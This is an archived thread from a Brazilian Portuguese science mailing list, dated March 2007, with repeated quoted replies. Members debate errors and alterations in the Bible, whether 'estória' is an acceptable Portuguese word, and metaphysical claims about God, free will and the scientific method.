Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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http://www.ciencialist.com

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 12:25

Hehehe... La vou eu alfinetar mais uma vez...

Hereje é a palavra que designa o praticante de uma heresia na lingua espanhola. No nosso portugues, a palavra correta é HEREGE...
Vitor, se voce nao parar com esses estrangeirismos eu vou contar para sua mae!!!
Hehehe...
Abracao amigos...

Adeilson Moreira Junior


----- Original Message -----
From: Victor
Subject: Re: [ciencialist] Alteracoes na Biblia


Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.


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From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 12:34

Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra um pouco mais requintada que folclore. A lingua é uma construcao de vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade do uso de uma expressao estrangeira para melhor me expressar, usaria, tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

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From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

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From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

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From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
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Luiz Ferraz Netto [Léo]
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De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
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SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 15:40

Olá Takata!

Takata >>> No seu argumento: a realidade é apenas um
mapa mental. Algo faz com q imaginemos coisas e isso
se nos parece com a realidade.

--- Sim, é isto mesmo. O problema é que, sendo assim,
sendo verdade, como é que fica a questão do
livre-arbitrio, não é?

Takata >>> Qdo eu como uma broa de milho, na verdade é
esse algo q me faz pensar q estou comendo broa de
milho.

--- Pior, na verdade é este algo que te faz pensar que
é vc que está pensando. O problema aqui é que sua
visão deste processo (o pensamento) é superficial e
confusa, pois quando vc diz "me", vc não sabe o que
está dizendo. Suponho isto, pois se vc soubesse não
precisaria estar te dizendo isto.

Takata >>> Oras, mas eu estou pensando agora q estou
comendo broa de milho.

--- Oras, mas se é mesmo vc que está pensando, então
me diga: quem é vc? Me diga como faz o que vc afirma
que faz (pensar)? E porque não pode parar de fazer o
que afirma que faz (pensar)?



sinceramente
ferrari



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SUBJECT: RE: Murilo: Como funciona o processo de conhecer a natureza
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 15:49

Olá Murilo!

Murilo >>> não sei como é que vc encontra capacidade
sacal p/o papo.

--- Já te disse uma vez, vc não acredito. Fez bem, não
é coisa de se acreditar, só vale mesmo se vc lutar
contra isto até ficar inegável: não existe
livre-arbitrio (na ação).

Murilo >>> É como enxugar gelo, meu!

--- Hehehehe... e o que nesta vida não é? Só muda o
nome do gelo.

Murilo >>> Vc deve se sentir um Orlando Villas Boas,
sem querer ofender qualquer silvícula.

--- Não entendi a metáfora. Por favor, me explique.

Murilo >>> Arre égua! Só mesmo morando num sítio!

--- Caro Jedi, aproveite, pois seu dia vai chegar! A
eternidade nem tarda nem falha.



abçomano
ferrari





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SUBJECT: Re: Luiz: Como funciona o processo de conhecer a natureza
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 16:06

Olá Luiz!

Vc não percebe que a particularidade da resposta (b)
está contina na universalidade da resposta (a)?
Hehehehe... Sei que percebe, duro é admitir.

Quanto a estas afirmações aqui:

Luiz >>> A opção (a) carece de qualquer evidência

--- Já expliqui aqui. O problema não é de evidencia é
de definição. Defina deus que ai conversamos sobre
evidencias.

Luiz >>> a opção (b) tem trazido frutos que arrasta
consigo toda a humanidade.

--- Hehehehe... arrasta pra onde... pro buraco? Pra
este panorama que está ai? Este panorama ai é fruto de
um ciencia domina pelo materialismo dos cientistas. E
ciencia coitata, paga o pato. Falei pro Homero e
repito pra vc, nada contra a ciencia, a ciencia é
nobre, a ciencia é parte integrante da criação de
deus, são os cientista materialistas que insistem que
ela seja materialista que criam este panorama. A
ciencia não é materialista porque nada é, simples
assim.

Luiz >>> Esquecer por completo a existência de uma
divindade não acarretará falta ou prejuízo algum à
humanidade.

--- Acarretará e acarreta a ignorancia de si. Tá bom
ou quer mais?

Luiz >>> esquecer por completo a Ciência é caminho
certo para o breve encurtamento da nossa existência.

--- Que existencia? Por acaso vc sabe o que é
existencia? Se sabe, me diga. Pensei que vc defendia
que o cientista existisse por si só, assim, do nada.


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 31/03/2007 18:51

Adeilson:
Pesquise no site do "Terra Redonda".
silvio.
----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 4:29 PM
Subject: [ciencialist] Alteracoes na Biblia


Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Sobre o Método Cientifico - decodificand o?=
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 21:00

Olá Jeff!

Jeff >>> A questão é a capacidade de entender.

--- Creio que não é capacidade, é código. Vc pode ter
capacidade, mas se não tem o código, ou inventa um, ou
copia um. Por exemplo, um computador sem explorer tem
capacidade para navegar na internet, mas como não tem
o código (o programa) sua capacidade fica latente.
Entende a diferença?

Jeff >>> Imagine a chegada de extra-terrestres 1000
vezes mais inteligentes que nós... Estes poderiam ter
teorias científicas que não conseguiríamos entender,
por falta de capacidade mesmo.

--- Não precisa nem ser extraterreste, quase ninguém
entende o que significa "e=mc2. Neste caso especifico,
não é falta de capacidade, mas falta de código. Não dá
pra decodificar a matéria universal usando um código
de particulas fisicas (atomo, etc), este é o
obstáculo. Agora, se o extra-terrestre tiver um
cérebro diferente do humano, ai sim, concordo que será
uma questão de capacidade.

Jeff >>> Algo como tentar explicar o funcionamento de
um computador para uma galinha.

--- Sim, são cérebros distintos, sistemas perceptivos
distintos, etc. Ai sim, concordo.

Jeff >>> O problema é construir um imenso raciocínio,
mesmo que lógico, em cima de crenças.

--- Jeff, todo pensamento é uma crença. Crenças
cientificas, crenças filosoficas, crenças religiosas,
crenças culinárias, etc.

Jeff >>> A chance de "desabar" ou "concluir" absurdos
é muito grande no final.

--- O fato de todo pensamento ser uma crença não
significa que vc precise aceita-lo como verdade nem
recusa-lo como mentira, apenas considere. Toda crença
é apenas um mapa mental. Se um mapa determinado serve
para nos guiar, usamos ele, se não serve, o ignoramos.
Se ele serviu, mas não serve mais. O ignoramos também.
Se ele estava pouco detalhado e queremos mais
detalhes, procuramos colocar mais detalhes nele. Mas
nenhuma mapa da realidade, por mais apurado que for, e
seja ele cientifico, religioso, filosófico, ou
culinário, jamais será a realidade (em si). Mapa não é
território.

Jeff >>> Eu lí um livro, por exemplo, que dizia
explicar cientificamente a existência do espírito.

--- A explicação cientifica da existencia do espirito
sempre cai naquele problema de definição que expliquei
no post: "um dos problemas da evidencia de deus são
dois".

Jeff >>> Até que o autor, no meio do livro, "conclui"
que o espírito estava contido nos "espaços vazios"
entre os elétrons e o núcleos do átomos. O cara
simplesmente achou um espaço vazio e jogou o espírito
lá, arbitrariamente!

--- Não posso falar pelos outros, só posso falar por
mim mesmo. E o que posso te dizer é que isto que
geralmente se chama de espiritos e que vem nas pessoas
do candomble e nas chamadas mesas mediunicas nada mais
são do que pensamentos captados pelo medium através de
ressonancia mental. Mediunidade é ressonancia. Quanto
ao outro espirito, aquele que reencarna e etc, este é
vc mesmo. Mas quem melhor do que vc mesmo pra saber
quem vc é? Sendo assim: vá direto em vc mesmo, vc não
precisa de nenhum livro pra saber quem vc é?
Compreende isto?

Jeff >>> Nesse momento eu fechei o livro e o devolví.

--- Vc fez o que achou melhor pra vc, não foi?

Jeff >>> Porque eu continuaria lendo este livro se a
outra metade seria toda baseada em cima dessa bobagem?

--- Se vc julgou bobagem, creio que não teria mesmo
motivação para continuar, afinal, vc espera encontrar
a verdade ali, não é? Vc queria que o livro lhe desse
a verdade, não é? E pior, esta verdade, além de ser
verdade, tinha que se encaixar perfeitamente na sua
definição do que "não é bobagem", não é? Jeff,
considere isto: vc é o livro, enquanto vc não se ler,
de nada adiantará ler livro nenhum.

Jeff >>> Deus é tres é inventado, não é baseado em
nada, foi criado para alguma coisa, por algum
interesse.

--- Isto é o que vc pensa. Respeito. Mas se acompanhar
meus artigos verá que é um mapa (conceito) que aponta
para um verdade universal (onipotencia, onipreseça,
onisciencia)

Jeff >>> Em ciência não se acredita, se entende.

--- Discordo! Se faz os dois, entende e acredita. Vc
entende o que é matéria, ou vc acredita na matéria? Vc
entende o que é tempo, ou vc acredita no tempo? Vc
entende o que é energia, ou vc acredita?

Jeff >>> Um cientista iria procurar entender porque
você disse isso, mas um religioso ia querer te xingar
e querer te bater.

--- Novamente vc generaliza e também confunde
dogmatismo religioso com religião. Religião não é
teoria, é verbo, é o verbo "religare", re-ligar. Uma
pessoa realmente religiosa é uma pessoa que pratica,
de instante é instante, o religare. O que é isto? Que
pratica é esta? É a instrução que esta lá no templo do
oráculo grego: "conheça a ti mesmo e conhecerá os
deuses e o universo"

Jeff >>> Você acredita em matemática?

--- Sim, é a linguagem humana da quantidade.

Jeff >>> A matemática, a lógica que entendemos, parece
ser verdade até o momento, uma verdade absoluta.

--- Novamente: a matemática é um mapa da verdade, não
é a verdade.

Jeff >>> A ciência então a utiliza como ferramenta e
até como prova de suas teorias, fazendo previsões que
se confirmam e até previsões que ainda não se tem como
se confirmar por falta de recursos.

--- A previsão cientifica não um mérito da matemática,
mas de uma qualidade da manifestação de deus: o tempo.


Jeff >>> Assim, tentamos "decodificar" novos
"mistérios" da mesma forma, pois achamos que tudo o
que existe deve poder ser equacionado.

--- Tudo pode ser codificado e decodificado, mas não é
a matemática que faz a existencia ser repetitiva, é
deus.

Jeff >>> Se tudo o que existe puder, um dia, ser
explicado desta forma, significa então que temos a
capacidade de entender o universo.

--- Sim, mapear é codificar, é codificar faz entender.
Contudo, toda a codificação humana é: humana. E nós
não somos seres humanos vivendo uma aventura
espiritual (universal), somos espiritos (seres
universais) vivendo uma aventura humana.

Jeff >>> Seríamos então "deuses" um dia...

--- Já somos, só não reconhecemos disto.

Jeff >>> Mas e se não for? Se não for, não será um
humano que vai explicar.

--- Exato! Einstein dizia uma coisa mais ou menos
assim: "não se pode resolver um problema, no mesmo
nivel consciencial em que ele foi criado". Eis a
resposta de Einstein a sua pergunta. Se vc quiser
entender o que nenhum ser humano pode te explicar, vc
precisa ir além do humano. Mas para isto vc só precisa
se dar conta que vc já está além do ser humano, pois
vc é (ao mesmo tempo) um ser humano e um espirito (ser
universal). Enquanto vc se manter no nivel do
pensamento, não é possivel resolver o pensamento. Mas
fazer isto é como ir ao banheiro, é uma coisa que só
vc pode fazer por vc mesmo.


sinceramente
ferrari




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SUBJECT: Re: JR: Sobre o Método Cientifico - decodificando
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 31/03/2007 21:07


Olá JR!

JR >>> Ufa! Finalmente um diálogo construtivo de
primeira qualidade.

--- JR, O Jeff é franco, é isto que possibilita o
milagre.

JR >>> acho que ficou exagerada a descrição de que a
intenção do religioso "querer ser deus".

--- Este "querer ser" não é no sentido de pretenção,
de se achar mais do que os outros, mas de se re-ligar
a deus, de terminar com a ilusão da separação, e
assim, ser um com o um, entende? Eis o objetivo da
meditação, da yoga, e outras práticas religiosas.


JR, fique com deus
ferrari



> <ciencialist@yahoogrupos.com.br>
> Sent: Friday, March 30, 2007 11:59 AM
> Subject: [ciencialist] Re: Sobre o Método Cientifico
> - decodificando?=
>
>
> > Olá Jeff!
> >
> > Jeff >>> Pra que criar um sentido que dê sentido
> ao
> > que não faz sentido?
> >
> > --- Pra ter uma "forma" lógica de interagir com o
> que
> > não faz sentido (ilógico).
> >
> > --- Considere o seguinte: interação = comunicação.
> É a
> > mesma coisa, apenas questão semantica.
> >
> > --- Imagine que vc decida viajar pro japão. Os
> > japoneses vão emitir som que não irão fazer
> sentido
> > pra vc. Vc supoe que faz sentido pra eles, pois
> eles
> > interagem muito bem usando aqueles sons, mas pra
> vc os
> > sons que os japoneses emitem não faz sentido, e
> sendo
> > assim, vc também não consegue interagir
> verbalmente
> > com eles.
> >
> > --- O que vc faz para conseguir interagir
> verbalmente
> > com os japoneses. Vc tem que fazer aqueles sons
> sem
> > sentido fazerem sentido pra vc, não é? Mas como?
> > TRADUZINDO para o portugues. E outras palavras:
> > DECODIFICANDO, criando um sentido (portugues) que
> dê
> > sentido ao que não faz sentido (japones).
> >
> > --- Agora, se vc não tiver interesse em interagir
> > verbalmente com os japoneses, ai vc não tem porque
> > tradudir, pois "pra que" implica em uso, uso
> implica
> > em usuário, e usuário implica em interesse.
> >
> > Jeff >>> Então os crentes estão acima dos
> cientistas,
> > pois "já sabem" que o desconhecido é um negócio
> > chamado "deus", que controla tudo.
> >
> > --- Como vc generalizou, vou responder
> > generalizadamente também: Não!
> >
> > --- A maioria dos crentes não "sabem" o que é
> deus,
> > eles apenas "acreditam" numa teoria. Uma teoria
> > teológica. É diferente "saber o significado de uma
> > teoria! de apenas "acreditar numa teoria".
> >
> > --- Outra coisa, ninguém está acima de ninguém. Os
> > seres humanos apenas possuem "formas diferentes"
> de se
> > interressar pela "mesma coisa": deus. Novamente
> > generalizando, classifico estas formas diferentes
> de
> > interesse em 4 formas:
> >
> > --- Cientifica - querer conhecer deus.
> > --- Artistica - querer sentir deus.
